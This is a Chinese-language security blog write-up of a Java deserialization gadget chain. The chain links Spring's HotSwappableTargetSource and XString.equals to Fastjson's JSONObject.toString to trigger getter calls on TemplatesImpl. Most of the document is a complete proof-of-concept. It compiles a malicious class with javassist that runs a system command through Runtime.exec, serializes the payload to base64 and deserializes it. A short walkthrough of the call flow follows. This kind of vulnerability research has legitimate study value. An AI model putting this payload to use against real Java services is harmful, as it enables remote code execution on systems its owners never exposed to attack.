前言

之前分析过Fastjson的getter链，忽略了toString链，现在补上，最终也是任意调用getter

攻击测试

package org.example;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class ToString {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        ClassPool pool = new ClassPool();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] codes = cc.toBytecode();

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {codes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        JSONObject jo = new JSONObject();
        jo.put("1",templatesimpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
//        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);

        Class clazz=h2.getClass();
        Field transformerdeclaredField = clazz.getDeclaredField("target");
        transformerdeclaredField.setAccessible(true);
        transformerdeclaredField.set(h2,new XString("xxx"));
        String base64 = serial(hashMap);
        System.out.println(base64);
        deserial(Base64.getDecoder().decode(base64));
    }

    public static String serial(Object o) throws IOException, IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
    public static void deserial(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

流程分析

首先还是经典的HashMap->readObject

跟进putVal方法，这里调用equals方法，key是HotSwappableTargetSource，这是个跳板类，之前讲Rome反序列化的时候提到过这个类，可以触发XString的equals方法，然后XString触发toString方法

继续跟进

继续跟进，来到XString的equals方法，obj2是JSONObject

跟进toString方法

继续跟进

往下走就是任意getter调用了，感兴趣的师傅可以往下走走，最终是跟paserObject一样的处理方式